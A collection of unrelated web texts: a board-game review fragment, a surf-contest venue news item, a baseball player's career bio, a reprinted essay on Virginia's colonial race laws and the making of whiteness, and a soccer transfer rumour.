Carthaginian setup that I had Decision Games answer a question of mine with it. On the map there are three Carthaginian setup hexes for cavalry on both sides of their infantry setup, but the game comes with only four Carthaginian cavalry counters. As I assumed, you just use two cavalry units per setup area.  Robert  Date of Review: 1/24/2017
-Damage to the event structure at the usual site of the Rio Pro at Postinho has forced the WSL to shift the competition's location to Grumari, around 24 kms west.  Recent swell activity over the past few weeks undermined the structure. But the WSL are working on repairs and want to get back to Postinho as soon as possible.  Construction under way at Grumari. © 2019 - Luciano Cabal.  Rumours are also circulating that Joel Parkinson could be pulling out of the event down to sub-standard water quality. There's been no confirmation yet whether any of the CT surfers have officially decided not to turn up at Rio – but it is understood the WSL will be making an announcement later today about an updated round 1 draw.  It'll be interesting to see what happens if some of the CT crew blow-off the Brazil leg though. Rio event's major sponsors, Oi, as far as we're aware, don't have any sponsored surfers, so who will those wildcard slots go to?  Kerrzy at Rio last year.  About the damage to Postinho, Kieren Perrow, WSL commissioner said: ''Recent swell activity has damaged the event structure at Postinho, rendering it unusable for the next several days. Fortunately, we have the secondary site at Grumari prepared for the opening days of the window. Grumari will serve as the primary venue should competition run during the opening days of the window and we'll work to get Postinho back as an option as soon as possible.  ''We're very appreciative of the teams on the ground for all the hard work they have put into the event and look forward to a world-class competition.''
-Full name NYJER JAMID MORGAN...Married, Lizzette...Has one daughter, Jaylah...Pronounced NIGH-juhr...Left his home in California at the age of 16 to play four years of junior hockey in Canada from 1996-2000, including a stint at the major junior level with the Regina Pats of the Western Hockey League...Following his hockey experience in Canada played two seasons (2001-02) of baseball at Walla Walla (WA) Community College...Attended high schools in British Columbia and Alberta, Canada...Is an avid fan of the San Jose Sharks, San Francisco 49ers and Golden State Warriors...Enjoys fantasy football, fantasy basketball, fishing, hiking and agriculture...Also known as "Tony Plush," a nickname he adopted with his friends in San Jose...Is an active member of the Options For Life Foundation, whose mission is to provide resources for alternative and complimentary medicine to those facing life threatening disease...During time with Brewers was active with PETA and the National Kidney Foundation of Wisconsin....On Twitter (@TheRealToneP).  2013  Signed with the Yokohama DeNa BayStars of Japan's Central League on January 24 after being taken off Milwaukee's 40-man roster on November 1, 2013 and declaring free agency the following day...Appeared in 108 games for Yokohama including 71 in center, 24 in right and 1 game in left...Hit 11HR after homering 11 times in the big leagues from 2007-12.  2012  Final season in Milwaukee, appeared in 122 games, including 66 starts (48g in CF, 14g in RF, 4g in LF, 0 errors)...Did not record his first RBI of the season until his 139th plate appearance, a new Major League record to start a season (Herb Adams, 125, 1950 White Sox).  2011  2010  2009  2008  2007  2006  2005  2004  2003  2002  Was acquired from Washington in exchange for INF Cutter Dykstra and cash on 3/27...Batted .304 with 4 HR, 37 RBI and 13 stolen bases in 119 games with Milwaukee...Made 90 starts (84g in CF, 5g in RF, 1g in LF)...Missed 29 games due to a pair of stints on the disabled list...Was on the 15-day disabled list from 4/21-5/2 with a right quadriceps contusion, retroactive to 4/18.....suffered the injury while running into the catcher on 4/13 at Pittsburgh...Was on the 15-day disabled list from 5/6-5/26 with a fractured left middle finger.....suffered the injury on a bunt on 5/5 at Atlanta...Had an 11-game hitting streak from 7/8-7/21 (15-41, .366, 5rbi) and a career-high 12-game hitting streak from 7/27-8/11 (17-51, .333, 4rbi)...Produced a 2-out RBI-double in the ninth inning on 6/8 vs. New York-NL to give the Brewers a 7-6 victory.....was the first walkoff hit of his career.....also had a walkoff sacrifice fly in the 10th inning on 8/14 vs. Pittsburgh to give the Brewers a 2-1 win...Celebrated his 31st birthday with a career-high 4 RBI in the Brewers' 8-7 comeback win on 7/2 at Minnesota.....came within a single of hitting for the cycle as he went 3-for-5 with 3R, a double, triple and home run to help the team erase a 7-0 deficit...Notched his 100th career stolen base in Game 2 of a doubleheader on 8/22 at Pittsburgh...Tied his career high (5x) with 4 hits in an 11-4 win on 8/23 at Pittsburgh, going 4-for-6 with 2R, a double and 2 RBI...Batted .179 (5-for-28) with 3 RBI in 10 games during the postseason...Propelled the Brewers into the NLCS with a walkoff RBI-single in the 10th inning of Game 5 of the NLDS vs. Arizona on 10/7, giving the team a 3-2 clinching victory...Signed a 1-year contract on 1/16/12, avoiding arbitration.In first complete season as an everyday player, hit .253, posted a .319 OBP and swiped 34 bags (tied 3rd in NL) forWashington...legged out a career-high 17 doubles...was caught stealing 17 times, the 2nd-highest total in MLB behindonly CWS's Juan Pierre (18)...also ranked among NL leaders in bunt hits (tied first, 11), sacrifice hits (3rd, 15), HBP(tied 6th, 10) and infield hits (tied 9th, 22)...went 3-for-4 and scored team season-best 4 runs in a 14-4 win on May31 at HOU...posted 4 hits, a double, one RBI, scored 3 runs and made a gravity-defying over-the-wall catch of a wouldbeCorey Patterson home run on June 25 at BAL...swiped 3 bases in a 7-1 win on July 22 at CIN to set a Nationals(2005-present) single-game record...also became the first DC-based big leaguer to swipe 3 bags in a game since KenHamlin did just that in the nightcap of a July 15, 1962 twinbill at LAA...with 20, became the 2nd National ('05-pres)to swipe 20 bags prior to All-Star break, joining Alfonso Soriano (20 in '06)...paced MLB with 11 stolen bases in July...from Sept. 17-24, served an 8-game suspension levied by MLB for 3 separate incidents during week of Aug. 21-28.Was acquired by Nationals on June 30 in season-altering trade that significantly shored up Washington's faulty defensive...provided spark at top of Nationals' lineup after joining the Nationals from PIT in a 4-player trade on June 30...despite missing the season's final 5 weeks with a broken left hand, finished among NL leaders with 42 stolen bases(2nd), 14 bunt hits (tied for 2nd), 16 three-hit games (tied for 5th) and .307 batting average (tied for 10th)...13 outfieldassists ranked 3rd in NL and tied for 4th in MLB...in 49 contests with Washington, batted .351 with 35 runs scored, 9doubles, 2 triples, one home run, 12 RBI and 24 stolen bases...posted multi-hit efforts in 21 of 46 starts...while healthy,from July 3 through Aug. 27, the Nationals team ranked among NL leaders with 257 runs (2nd), 35 stolen bases (3rd),.276 batting average (4th) and .347 on-base percentage (5th)...swiped 2 bags 8 times...14 stolen bases in July to seta Nationals (2005-present) record for stolen bases in a single calendar month...bested Felipe Lopez's former mark of11, set in September '06...hit .388 in July to rank 3rd in MLB...with 40 July safeties, set a Nationals ('05-pres.) markfor hits in the month of July and matched a Nationals' record for hits in any single calendar month...Cristian Guzman(June '08) and Ryan Zimmerman (May '09) are the only other Nationals to post 40 hits in a month...batted .344 againstright-handed pitching...suffered season-ending injury on August 27 at CHI, when he broke his left hand sliding safelyinto 3rd base on a stolen base attempt in the first inning...led off the game with a walk then stole 2nd base and 3rd baseand scored...surgery on left hand (3rd metacarpal) performed by Dr. Thomas Graham on August 29 in Baltimore.Went 3-for-4 with walk, triple, RBI and 2 stolen bases, April 11 at CIN...matched careerhigh with 4 hits, June 20 at COL...went 3-for-5 with a pair of doubles, a RBI, a stolen base and a run scored in a 5-3win, July 5 vs. ATL...notched 4 hits (matching career best, 3rd time) in a 13-1 win vs. SDP, July 25...hit 2nd careerfirst-inning leadoff homer to trigger an 8-3 win, July 28 at MIL...finished same game with career-high 3 RBI...recordedcareer-best 9 putouts as center fielder, August 6 vs. FLA.Split season between Pittsburgh and Triple-A Indianapolis, where he ranked second in the InternationalLeague in stolen bases...Was on Pittsburgh's Opening Day roster...Doubled in first at bat as a pinch hitter on Opening Day in Atlanta....Made two starts in the month of April (4/6 at Florida and 4/11 vs. Cincinnati)...Went 1-for-5 with two runs scored in first start on4/6 at Florida...Snapped 0-for-14 streak with single as a pinch hitter on 5/4 at Washington...Was optioned to Indianapolis on 5/8and went hitless in his first 18 at bats before singling in first at bat on 5/13...Hit safely infive of his six games between 5/13-17, going 8-for-17 (.471) with four multi-hit efforts...Talliedfirst RBI with Indy on 5/17 at Louisville...Had six-game hitting streak from 6/6-12 (9-for-24,.375)...Was successful in nine straight stolen base attempts between 6/10-17. ...Swiped twobases in three straight games from 6/12-14...Was recalled by Pittsburgh on 6/20 and madefirst career start in right field that night vs. Toronto (went 0-for-5 at the plate)...Went hitlessin first six at bats after recall; snapped hitless streak with a two-run double while playing lasttwo innings in left field on 6/24 vs. New York (AL)...Was optioned back to Indianapolis on6/28...Hit safely in 17 straight Triple-A games from 6/17 thru 7/17, going 25-for-72 (.347)with 15 runs scored...Batted .300 (33-for-110) and swiped 13 bases in 16 attempts in 27 games during the month of July...Homeredon 8/8 at Rochester - his first long ball since 9/25/07 while playing with Pittsburgh...Swiped five bases on 8/15 vs. Durham - thefive steals tied a team record set by Robert Fausett on May 14, 1936...Hit .339 (58-for-171) with 13 extra-base hits, 23 RBI, 36 runsscored and 25 stolen bases in final 43 Triple-A games from 7/1 thru 8/17...Also batted .326 (78-for-239) against right-handed pitchersand .217 (18-for-83) against southpaws while playing with Indianapolis...Was recalled by Pittsburgh on 8/19 when Doug Mientkiewiczwas placed on the bereavement list; started in center field that night in St. Louis and went 0-for-4 with a walk...Produced three straightmulti-hit games from 8/22-24 and went 11-for-22 in six games from 8/20-26, raising average with Pittsburgh from .130 to .250...Madefirst career start in left field on 8/26 vs. Chicago (NL) and banged out three hits...Had six straight multi-hit games from 9/12-18,going 13-for-28 (.464) and scoring eight runs...Had career-high four hits on 9/23 at Milwaukee and tied career high with twoRBI...Committed only error (fielding) with Pirates while playing left field on 9/23...Suffered a strained left hamstring while beatingout an infield hit in his first at bat on 9/25 at Milwaukee and was done for the season...Reached base safely in 25 of his 27 startsafter recall on 8/19, going 41-for-112 (.366) with 20 runs scored; his overall average of .347 from 8/19 thru the end of the seasonwas the 10th-highest in the National League...Ranked ninth among N.L. players with a .354 average in September.Began season with Triple-A Indianapolis and went 4-for-5 in first game on 4/5 vs. Columbus...Reachedbase safely in 15 of his first 18 games and was hitting .358 following the action on 4/27...Swiped 13 bases in 15 attempts in Aprilwhile batting .308...Hit safely in each of his first five games in May and in seven of his first eight (11-for-33, .333)...Was leadingthe International League with 22 stolen bases when he suffered a dislocated left thumb on 5/13 vs. Ottawa...Was on the disabledlist from 5/15 thru 8/23...Went 4-for-13 during a four-game rehab assignment with the GCL Pirates from 8/18-22...Hit an inside-theparkhome run on 8/20 vs. GCL Red Sox...Returned to Indianapolis on 8/24 and hit safely in seven of his last nine games with theIndians...Made 33 appearances in center field and nine in left field while playing with Indy...Was recalled by Pittsburgh on 9/1 andsingled off Matt Wise in Milwaukee that night in first major league plate appearance...Hit safely in each of his first three games withthe Pirates, going 4-for-9 with two walks and three runs scored...Collected first big-league RBI on 9/4 at St. Louis...Committed loneerror with Pittsburgh on 9/8 vs. Chicago (NL)...Had two RBI on 9/9 vs. Chicago and made great diving catch in right-center field torob Aramis Ramirez of a hit...Was also caught stealing in first attempt on 9/9; over slid second base...Picked up first of two assistson 9/11 vs. Milwaukee...Made "Willie Mays" style catch in deep center field to rob Ty Wigginton of extra bases on 9/14 at Houston....Collected first major league triple on 9/15 at Houston...Swiped two bases on 9/19 at San Diego and also picked up second assistin the contest...Tripled in back-to-back games on 9/19-20...Connected off Milwaukee's Doug Davis for first major league home run on9/25 - a leadoff shot at PNC Park...Reached base safely in 19 of his last 20 games and in 22 of his 25 starts in center field withthe Pirates...Ended the season with an 11-game hitting streak, going 18-for-44 (.409) with seven multi-hit contests...Had four infieldhits, including three bunt base hits, with the Pirates...Participated in the Arizona Fall League and batted .258 (24-for-93) with ahomer, nine RBI and a team-leading 10 stolen bases in 24 games with league-champion Phoenix.Was the starting center fielder for the Carolina League in mid-season All-Star Game...Split season between Lynchburg (A) and Altoona (AA) and combined to hit .304 with 13 doubles, eight triples, one home run, 32 RBI and 59 stolen bases in 117 games. ...Established minor league career highs in hits, triples and stolen bases...Ranked second behind Pedro Powell (63) among all Bucco farmhands in stolen bases and third in batting...Finished eighth among all minor league players in stolen bases...Ranked second in Carolina League in stolen bases despite being promoted to Altoona in late June...Began season with Lynchburg and hit safely in 21 straight games from 4/24 thru 5/29, going 30-for-80 (.375) with nine multi-hit games; the streak is the second-longest in Hillcats history behind Josh Bonifay's 22-game streak in 2002...Swiped three bases on 4/15 vs. Frederick...Batted .371 (23-for-62) in 17 games during the month of May, the fourth-highest mark in the Carolina League...Went 10-for-28 (.357) during six-game hitting streak from 6/4-8...Recorded three stolen bases on 6/6 at Myrtle Beach...Had a career-high four stolen bases on 6/24 vs. Myrtle Beach...Went 0-for-3 in mid-season All-Star Game, played on 6/27...Made all 61 defensive appearances with Lynchburg in center field. ...Was promoted to Altoona on 6/29...Finished tied with Vic Buttler for team lead in stolen bases despite playing in only 56 games. ...Made 37 starts in left field, 15 in center field and two in right field for the Curve...Went 4-for-5 with two RBI and two runs scored on 7/3 vs. Akron...Produced his second four-hit game with Altoona on 8/18 vs. Harrisburg...Hit .484 (15-for-31) during an eight-game streak from 8/14-21...Hit lone home run on 8/24 at Harrisburg, snapping streak of 177 consecutive games without a long ball (previous homer came on 8/30/04)...Batted .375 (21-for-56) over his final 15 games before suffering a season-ending right hamstring injury on 8/27 at Harrisburg...Missed the Eastern League playoffs due to injury...Participated in the Hawaiian Winter League and hit .294 (35-for-119) with five triples, one homer and 20 stolen bases in 32 games with Honolulu Sharks.Missed first half of the season with a shoulder injury and joined Lynchburg on 6/20...Finished fourth in the Carolina League in stolen bases...Hit safely in nine consecutive games from 7/17-25 (14-for-40, .350)...Swiped a Hillcats' season-high three bases on 7/22 vs. Wilmington...Posted season-high 11-game hitting streak from 8/14-28 (18-for-51, .353)...Recorded four, three-hit games during a five-game span from 8/28 to 9/2...Raised final average from .266 to .286 by going 14-for-34 (.412) over his final seven games...Went 3-for-7 in two Carolina League playoff contests.Spent entire season with South Atlantic League champion Hickory (A)...Set minor league career highs in games, at bats, runs, doubles, home runs and RBI...Ranked second in the league in stolen bases, third in games played and third in at bats...Finished second among all minor league batters in being hit by a pitch and tied for eighth in stolen bases...Ranked second behind Lynchburg's Rajai Davis (57) for the organizational lead in steals...Hit first career home run in the Crawdads' season opener on 4/8 vs. Lake County...Went 4-for-4 with a triple and two RBI on 5/7 vs. Lakewood...Was named the South Atlantic League's Player-of-the-Week for the week of 5/7-14 after hitting .412 (14-for-34) with 10 runs and seven RBI in 10 games...Recorded a season-high 11-game hitting streak from 7/2-12 (17-for-48, .354)...Went 4-for-6 and scored a season-high four runs on 8/5 at Columbus...Posted a second double-digit hitting streak (10 games) from 8/21-30 (14-for-38, .368)...Produced an inside-the-park home run on 8/30 vs. Kannapolis (game one)...Was successful in each of his last 17 stolen bases attempts...Went 8-for-20 (.400) and scored five runs in four playoff contests to help the Crawdads capture the S.A.L. title...Made all defensive appearances in center field.Spent first professional season with New York-Penn League champion Williamsport (A)...Established career high in batting...Named to the circuit's post-season All-Star team...Led league in hits while ranking second in stolen bases, batting average and on-base percentage (.439)...Ranked fourth in runs scored...Swiped 18 bases in his first 27 games...Reached base safely in 23 consecutive games from 6/24 to 7/24 (game one)...Named New York-Penn League Player-of-the-Week for week of 7/14-20 after hitting .480 (12-for-25) with eight runs and four RBI in seven games...Hit .333 (30-for-90) in 26 games during the month of July...Batted .403 (29-for-72) during a 17-game hitting streak from 7/31-8/16...Hit .380 (46-for-121) during the month of August, which included a season-high four hits on 8/28 vs. Staten Island.Signed with Pittsburgh on 7/29 after being selected in the 33rd round of the First-Year Player Draft.
-In 1670, the Virginia assembly, comprising some of the colony’s most successful and powerful men, forbade free Negroes and Indians to own Christian (that is to say, white) servants. In 1676, the assembly made it legal to enslave Indians. From 1680 on, white Christians were free to give "any negroe or other slave" who dare to lift his hand in opposition to a Christian 30 lashes on the bare back. In 1705, masters were forbidden to ‘whip a Christian white servant naked." Nakedness was for brutes, the uncivil, the non-Christian. That same year, all property – "horses, cattle, and hogs" – was confiscated from slaves and sold by church wardens for the benefit of poor whites. By means of such acts, the tobacco planters and ruling elite of Virginia raised the legal status of lower-class whites relative to that of Negroes and Indians, whether free, servant, or slave.  The legislators also raised the status of white servants, workers, and the white poor in relations to their masters and other white superiors. Until then the European indentured servants had lived and worked under the same conditions as the African slaves, the chief difference in their status being that the Europeans’ servitude was contracted for a specified period whereas the slaves, and their progeny, served for life. In 1705, the assembly required masters to provide white servants at the end of their indentureship with corn, money, a gun, clothing, and 50 acres of land. The poll tax was also reduced. As a result of these legally sanctioned changes in poor whites’ economic position, they gained legal, political, emotional, social, and financial status that depended directly on the concomitant degradation of Indians and Negroes.  By means of the race laws, Virginia’s ruling class systematically gave their blessing to lower-class whites, whom they nevertheless considered "the scruff and scum of England" and who, free no in the colonies after indentured servitude, were thought of as the rabble of Virginia. Social historian Edmund Morgan reminds us how radical the race laws were when he notes that the  Stereotypes of the poor expressed so often in England during the late seventeenth and eighteenth centuries were often identical with the descriptions of blacks expressed in colonies dependent upon slave labor, even to the extent of intimating the subhumanity of both: the [white] poor were ‘the vile and brutish part of mankind’; [blacks] ‘a brutish sort of people.’ In the eyes of unpoor Englishmen, the poor bore many of the marks of an alien race.  These descriptions were consistent with a contemporary usage of race denoting something like what we mean by class today. As cultural scholar Ann Laura Stoler notes in her book Race and the Education of Desire, the "race" of the rising English industrial class pertained not to their color or physiognomy but to their bourgeois class status, mores, and manners. Accordingly, racial superiority, and thus the right to rule, came to be equated with middle-class respectability. The poor, by definition, could never belong to this new bourgeois race.  Morgan writes that some of the ‘alien," bedraggled and penniless Englishmen and women were shipped to Virginia, and  When their masters began to place people of another color in the fields beside them, the unfamiliar appearance of the newcomers may well have struck them as only skin deep. There are hints that the two despised groups initially saw each other as sharing the same predicament. It was common, for example, for servants and slaves to run away together, steal hogs together, get drunk together. It was not uncommon for them to make love together.  African-born slaves and European-born indentured servants collaborated throughout the Anglo-American colonies. In the British West Indies, for example, legislation was passed in 1701 that forbade the importation of Irish Catholics, and subsequently of any Europeans, to the island of Nevis because European servants had combined there with African slaves to rebel against the ruling elite. The Virginia race laws by which plantation masters elevated the racial status of their white servants, workers, and other "rabble" were enacted for the exact same reasons as the Nevis race laws.  To understand this fully requires attention to the new role slavery began to play in Virginia as the 17th century wore on. By 1660, it had become more profitable for the labor barons to buy slaves rather than the labor of indentured servants. A host of reasons explain this shift, including a dwindling pool of prospects for indentured servitude and a decline in mortality from diseases in the colony, which made slaves, although twice the price of indentured servants, a better long-term investment. Because slaves and their progeny served for life, the time and work extracted from them would more than repay the added cost. To increase slaves’ productivity, masters had only to increase the severity of beatings and maimings, meanwhile enacting laws to protect themselves from prosecution for the inadvertent killings that might result.  This new setup, however, required a new strategy for social control, for the natural class affinities between indentured servants and enslaved ones presented a danger to the masters. Until 1660, indentured servants outnumbered slaves on the Virginia tobacco plantations. They were kept in separate servant quarters, supervised by overseers, and whipped as a means of "correction." Like their 18th century slave counterparts, they were also underfed and underclothed. In response, they sometimes ran away but rarely, if ever, rebelled as a class.  As freedmen, however, they did rebel. Led by a well-born Englishman named Nathaniel Bacon, a government official who ironically held wealthy Virginians in contempt because of their "vile" (lower-class) beginnings, the freedmen first slaughtered Indians and then turned their guns on the ruling elite. The rebels were rankled by unfair taxes, legislators’ greed, and land use regulations that relegated most of them to the status of landless workers for hire. This 1676 "Bacon Rebellion" did not end before Jamestown was burned to the ground, Bacon died, and the English intervened militarily. Last to surrender was a group of 80 Negroes and 20 English servants.  With a swelling slave population, the masters faced the prospect of white freedmen with disappointed hopes joining forces with slaves of desperate hope to mount ever more virulent rebellions. The elites’ race strategy decreased the probability of such class rebellions. The problem of how to redirect the "rabble" so that they would not bond with slaves was resolved through the sinister design of racialization. Writes Morgan, "The answer to the problem, obvious if unspoken and only gradually recognized, was racism, to separate dangerous free whites from dangerous slave blacks by a screen of racial contempt."  Racial contempt would function as a wall between poor whites and blacks, protecting masters and their slave-produced wealthy from both lower-class whites and slaves. At the same time, the new laws led the poor whites to identify with the ruling elite, an identification with an objective basis in fact – otherwise this divide and conquer class strategy would not have worked. Laws like the ones that gave white freedmen the right to whip a Negro slave but prevented white servants from being whipped while naked engendered a psychological allegiance to the elite through abuse: the right to abuse those below them and a constraint on the abuse meted out by those above them. Of course, this allegiance, and the laws that engendered it, did not protect the white servant from being beaten. The laws simply limited the abuse and thus, in the guise of a humane reform, actually maintained the legal sanction of violence against both the black and white servant and worker.  In addition to their marginal privileges vis-à-vis punishment, poor whites acquired new political and social advantage by means of these new laws, along with the legislated right to feel superior to all nonwhites. A quota of "deficiency laws" was established to link white workers to black slaves, thus ensuring the stability of the race-based economic status quo. Historian Theodore Allen writes that these laws required plantation owners to "employ at least one ‘white’ for every so many ‘Negroes,’ the proportion varying from colony to colony and time to time, from one-to-twenty (Nevis, 1701) to one-to-four (Georgia, 1750)."Other laws urged slave owners to bar Negroes from trades in order to preserve those positions for "white" artisans. / 17 / The increasingly pervasive link between white work and the degraded condition of the black led white workers to accept the reality of – and necessity for – black slavery.  Not surprisingly, however, poor whites never became the economic equals of the elite. Though both groups’ economic status rose, the gap between the wealthy and poor widened as a result of slave productivity. Thus, poor whites’ belief that they now shared status and dignity with their social betters was largely illusory.  The new multi-class "white race" that emerged from the Virginia laws wasn’t biologically engineered but socially constructed, then. As Allen points out, the race laws and the racial contempt they generated not only severed ties of mutual interest and goodwill between European and African servants and workers, but they also provided the ruling elite with a "buffer" of poor whites between themselves and the slaves to keep blacks down and prevent both groups from challenging the rule of the elite. A. Leon Higgenbotham Jr., the former chief judge of the United States court of Appeals for the third Circuit, is right when he says the Virginia race laws, which were soon imitated throughout the colonies, were designed to "presume, protect, and defend the ideal of superiority of whites and the inferiority of blacks." But we must not forget that white racism was from the start a vehicle for classism; its primary goal was not to elevate a race but to denigrate a class. White racism was thus a means to an end, and the end was the defense of Virginia’s class structure and the further subjugation of the poor of all "racial" colors.  Interestingly, there was early resistance to these race laws by the newly whited lower classes. When, for example, the Virginia Assembly in 1691 outlawed mixed marriages and thus mulatto offspring ("that abominable mixture and spurious issue"), residents petitioned the assembly in 1699 "for the Repeale of the Act of Assembly, Against English people’s Marrying with Negroes Indians or Mulattoes." The petition, after internal legislative maneuvers, was ignored. During this same period, an Englishwoman named Ann Wall was arraigned by a county court and charged with "keeping company with a negro under pretense of marriage." She was convicted, bound with her two mulatto children to indentured service in another county, and told that if she ever returned to her home in Elizabeth City, she would be banished to Barbados.  Gradually, however, the new legislation began to influence both the class and racial perceptions of the "white" Virginians, as the memories of communal life and work shared by indentured Euro-American and enslaved African American workers were lost with the death of the first generations of Virginians. Thus, by 1825, free white laborers either emigrated to the West or festered in extraordinary poverty because their race pride prevented them from working alongside free Negroes. For example, in 1825, a petition circulated among citizens of Henrico County in Virginia asserted that "white [the free negro] re- / 18 / mained here … no white laborer will seek employment near him. Hence it is that in some of the richest counties east of the Blue Ridge the white population is stationary and in many others it is retrograde." Noting the pattern of white emigration from Virginia, Governor Smith in his 1847 message to the legislature said, "I venture the opinion that a larger emigration of our white laborers is produced by our free negroes than by the institution of slavery." Poor whites’ racial antipathy toward free Negro Virginians not only staved off political collaboration but further enriched the white employers, who preferred Negro freedmen over whites because they worked cheaper. Also, because they had no legal protections, they were totally subject to their employers’ wishes. As Governor Smith complained in 1848, free Negroes "perform a thousand little menial services to the exclusion of the white man. [They are] preferred by their employers because of the authority and control which they can exercise and frequently because of the ease and facility with which they can remunerate such services." Classism augmented by racism thus succeeded in disempowering the white Virginia lower classes, but these whites’ own racism further disempowered them by distracting them from the class exploitation that they shared with Negroes.  As W.E.B. Du Bois notes in his seminal work, Black Reconstruction in America: 1860-1880, the poor white man couldn’t conceive of himself as a laborer because of labor’s association with Negro toil. Rather, the poor white, if he aspired at all, aspired to become a planter and own "niggers." Accordingly, he transferred his hatred for the slave system to the Negro and by so doing stabilized the entire slave system as "overseer, slave driver and member of the patrol system. But above and beyond this role in maintaining the slave system, it fed his vanity because it associated [him] with the masters." The poor white’s association with the southern elite, however, was a one-way affair. As one observer noted, "For twenty years, I do not recollect ever to have seen or heard these non-slaveholding whites referred to by the Southern gentlemen as constituting any part of what they called the South."  The poor whites’ vanity was thus based on both fact and illusion. The fact pertained to the poor whites’ race. They did have the race privilege of not being slaves and legal rights as citizens because they were white. The illusion pertained to their class status. Their race made them think of themselves as planters and aristocrats, while their actual economic and social condition was dire. Only 25 percent of the poor whites were literate. Frederick L. Olmstead in his 1856 book A Journey to the Seaboard Slave States details their living conditions in the following description of a white backwoods settlement:  A wretched log hut or two are the only habitations in sight. Here reside, or rather take shelter, the miserable cultivators of the ground, or a still more destitute class who make a precarious living by peddling "lightwood" in the city… These cabins … are dens of filth. The bed if there be a bed is a layer of something in the corner that defies scenting. If the bed is nasty, what of the floor? What of the whole enclosed space? What of the creatures themselves? Pough! Water in use as a purifier is unknown. Their faces are bedaubed with the muddy accumulation of weeks. They just give them a wipe when they see a stranger to take off the blackest dirt…. The poor wretches seem startled when you address them, and answer your questions cowering like culprits."  As for poor urban whites, he wrote:  I saw as much close packing, filth and squalor, in certain blocks inhabited by laboring whites in Charleston, as I have witnessed in any Northern town of its size; and greater evidences of brutality and ruffianly character, than I have ever happened to see, among an equal population of this class, before."  Clearly, then, the poor white masses, like the black slaves, were also racial victims of the upper class. The two exploited, racialized groups differed, however, in their degree of self-awareness. Virtually all slaves knew they were victims of white racism, while very few whites knew that they were, too.  A good example of the racial violence meted out to the whited lower classes by the ruling elite involved the voting eligibility requirements in the South. Here we find the white-on-white class conflict that interracial conflict was designed to obscure. As Du Bois observes, "most Southern state governments required a property qualification for the Governor, and in South Carolina," the minimum value of his financial worth was stipulated: $10,000. He adds, "In North Carolina, a man must own 50 acres to vote for a Senator." Thus in 1828, out of 250 votes in Wilmington, North Carolina, only 48 men could vote in senatorial elections.  The white southern elite also established the "extraordinary rule" of allowing slave owners to exercise the vote of all or at least three-fifths of their black slaves. This concentration of political power not only degraded, in theory, the personhood of people with African ancestry by counting many such persons as only three-fifths human, but it effectively disenfranchised virtually all white southerners except for the biggest slaveholders. And at the beginning of the Civil War, seven percent of white southerners owned almost three quarters (three million) of the slaves in this country. Thus, although the South had two million slaveholders in 1860, an oligarchy of 8,000 actually ruled the region, controlling the five million whites too poor to own slaves. The lower classes responded with self-contempt and blindness to such of their own class interests as went beyond their perceived racial interests as whites.  The psychological self-destruction entailed in poor whites’ celebration of race to the detriment of their own class interests takes us into the realm of lower-class white shame. The 1941 classic The Mind of the South, by the southern essayist and social critic W.J. Cash, gives us an intimate and detailed description of the hidden injury done to the southern Euro-American’s personality structure by the racialization of class issues described above.  Cash tersely assesses the psychological price paid by the southern Euro-American man of any class who defines himself as white: "a fundamental split in his psyche [resulting] from a sort of social schizophrenia." Those at the top believed they were as grand and aristocratic as the Virginians after who they modeled themselves. Backwater cotton planters thus imitated the Virginians in manner, dress, and comportment, but they could never, Cash argues, "endow their subconscious with the aristocrat’s experience, which is the aristocratic manner’s essential warrant. In their inmost being they carried nearly always, I think, an uneasy sensation of inadequacy for their role."  The common man also wrapped himself in class illusions that separated him from the actual experiences of his life. He actively embraced the idea that he was an aristocrat, identifying with the planter class through a glowing sense of participation in the common brotherhood of white men. The "ego-warming and ego-expanding distinction between the white man and the black" elevated this common white man, Cash argues,  to a position comparable to that of, say, the Doric knight of ancient Sparta. Not only was he not exploited directly, he was himself made by extension a member of the dominant class – was lodged solidly on a tremendous superiority, which, however much the blacks in the "big house" might sneer at him, and however much their masters might privately agree with them, he could never publicly lose. Come what might, he would always be a white man. And before that vast and capacious distinction, all others were foreshortened, dwarfed, and all but obliterated. The grand outcome was the almost complete disappearance of economic and social forces on the part of the masses. One simply did not have to get on in this world in order to achieve security, independence, or value in one’s estimation and in that of one’s fellows.  This delusional "vast and capacious distinction," by blinding the white poor to their own class interests, reduced the common white man’s economic worth to naught. Writes Cash, "let him be stripped of this proto-Dorian rank and he would be left naked, a man without status." In effect, the emotional security lent by the hand of a fine gentleman on the common man’s shoulder in a friendly greeting became a substitute for economic security. Having shifted focus form class issues to racial feelings, the common white man, in effect, had been robbed of almost everything by his own racial "brothers."  Reproduced from: World: The Journal of the Unitarian Universalist Association. Vol. XII No: 4 (July/August 1998), pp. 14 –20)  Rev. Dr. Thandeka is the author of Learning to be White.  "No reader of Thandeka's book will ever be able to think about race in quite the same way again."  - John B. Cobb, Jr., The Claremont Graduate School  "No other study so fully demonstrates the origins of white identity in misery and defeat, as well as in power and privilege. Whiteness, Thandeka shows, is a shame which divides and afflicts whites as well as the nation."  - David Roediger, author of The Wages of Whiteness
-The 24-year-old may finally move to a club where he's able to get more playing time, says a report in a Spanish newspaper.  Mexican midfielder Jonathan Dos Santos could be heading out the exit door of Barcelona this summer, according to Spanish outlet Sport.  The 24-year-old has struggled for playing time with the Catalan club, starting only three games in La Liga since arriving at La Masia in 2002.  Dos Santos was close to a move to Real Sociedad last summer but was convinced to stay and fight for a place at the club by incoming coach Gerardo Martino.  But just as it looked like Dos Santos would be leaving in the winter transfer window, the Mexico international suffered an ACL injury to his right knee and was out for six months.  The player is currently training on the margins of the Barcelona squad, but isn’t giving up on a World Cup place.  “I’m raising my hand to see is they give me that opportunity to be in the World Cup,” Dos Santos told Televisa last week.  The same article in Sport suggests Dos Santos’ contract ends in 2015 and that Ibrahim Afellay, Cristian Tello, Isaac Cuena, Sergi Roberto and Oier Olazabal are also set to leave the club.
